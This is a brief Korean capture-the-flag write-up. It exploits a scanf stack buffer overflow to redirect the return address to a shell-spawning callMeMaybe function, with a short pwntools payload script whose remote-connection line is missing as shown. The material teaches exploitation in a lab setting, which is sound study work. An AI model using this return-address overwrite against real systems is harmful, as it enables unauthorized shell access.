파일을 다운받고, ida로 열어보면, 함수리스트를 볼 수가 있다.
주의깊게 봐야할 함수는 main 과 callMeMaybe 이다.
[ main ]
scanf 로 문자열을 입력받아 Hello %s 로 출력해준다.
Buffer : [rbp-0x110]
[ callMeMaybe ]
쉘을 실행시켜준다.
scanf 에서도 BOF 가 일어날수있다.
[스택]
낮은주소 [buffer+0x110] [rbp] [ret address] 높은주소
ret address까지 dummy 값으로 채운뒤,
ret address에 callmemaybe 함수의 주소를 쓰면 되겠다.
[ payload ]
DUMMY(0x110 + 8 )+ callmemaybe 주소
주소가 8바이트로 표현된다는것을 유의하며
exploit 코드를 짜보자
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
callmemaybe=0x400606
payload=""
payload+='a'*0x110
payload+='b'*8
payload+=p64(callmemaybe)
p.sendline(payload)
p.interactive()
|
cat flag!